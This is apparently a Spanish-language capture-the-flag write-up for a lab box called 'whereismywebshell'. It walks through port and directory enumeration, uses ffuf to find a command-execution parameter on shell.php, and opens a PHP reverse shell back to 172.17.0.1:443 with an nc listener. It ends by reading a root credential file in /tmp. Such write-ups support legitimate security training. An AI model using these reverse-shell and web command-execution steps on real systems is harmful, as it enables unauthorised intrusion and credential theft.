MAQUINA whereismywebshell (FUZZING de PARAMETROS con FUFF - RCE)
ENUMERACION:
nmap -p- --open --min-rate 2000 -n -Pn -sS 172.17.0.2
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-03 11:17 -03
Nmap scan report for 172.17.0.2
Host is up (0.0000050s latency).
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE
80/tcp open http
MAC Address: 02:42:AC:11:00:02 (Unknown)whatweb http://172.17.0.2/
http://172.17.0.2/ [200 OK] Apache[2.4.57], Country[RESERVED][ZZ], HTML5, HTTPServer[Debian Linux][Apache/2.4.57 (Debian)], IP[172.17.0.2], Title[Academia de Inglés (Inglis Academi)]Inspeccione la web donde use wappalyzer para las tecnologías de la web y vi que el lenguaje este en PHP (importante), luego un comentario donde me indicaba cierta pista.

Con feroxbuster busque directorios ocultos dentro de la web.
feroxbuster -u http://172.17.0.2 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-1.0.txt -x php,txt,html
200 GET 91l 227w 2510c http://172.17.0.2/index.html
200 GET 855l 4253w 327103c http://172.17.0.2/escuela.jpg
200 GET 521l 2920w 254921c http://172.17.0.2/clase_ingles.jpg
200 GET 91l 227w 2510c http://172.17.0.2/
500 GET 0l 0w 0c http://172.17.0.2/shell.php
200 GET 11l 34w 315c http://172.17.0.2/warning.htmlAntes de ver el directorio shell.php donde el estado tiene como valor 500 mire la ruta warning.html con estado 200, dentro hay un comentario interesante que dice lo siguiente.

Volví a la ruta shell.php y use el siguiente comando para que FUFF me busque parámetros validos utilizando el diccionario "burp-parameter-names.txt", a la ruta "/shell.php" le agregue ?FUZZ, la palabra FUZZ hace que cada palabra del diccionario sea utilizado en esta SECCION por ultimo le indico que sea igual a "test" esto puede ser igual a /etc/passwd o a algo.
ffuf -u http://172.17.0.2/shell.php?FUZZ=test -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt -fs 0
parameter [Status: 200, Size: 12, Words: 1, Lines: 2, Duration: 3ms]Coloque el parámetro "parameter" en la url y a modo de prueba coloque un "ls" donde con éxito liste el contenido de la interno de la carpeta.

ACCESO INICIAL:
Luego use la siguiente revershell URLENCODEADA para obtener acceso remoto a la maquina victima.
php -r '$sock=fsockopen("172.17.0.1",443);shell_exec("bash <&3 >&3 2>&3");'php%20-r%20%27%24sock%3Dfsockopen%28%22172.17.0.1%22%2C443%29%3Bshell_exec%28%22bash%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27nc -nlvp 443
listening on [any] 443 ...
connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 33256
whoami
www-dataPOST-EXPLOITACION:
Ya dentro de la maquina realice la enumeración correspondiente sin encontrar nada interesante.
Luego volví a la imagen del comienzo y vi que el comentario indicaba que hay alojado algo en la carpeta /tmp.
Luego allí encontré un archivo .secret.txt donde se aloja unas credenciales pertenecientes al usuario root.
www-data@2ccd37adc29d://tmp$ ls -la
total 12
drwxrwxrwt 1 root root 4096 Jul 3 14:38 .
drwxr-xr-x 1 root root 4096 Jul 3 14:15 ..
-rw-r--r-- 1 root root 21 Apr 12 2024 .secret.txt
prw-r--r-- 1 www-data www-data 0 Jul 3 14:38 f
www-data@2ccd37adc29d://tmp$ cat .secret.txt
333333333333333333333Last updated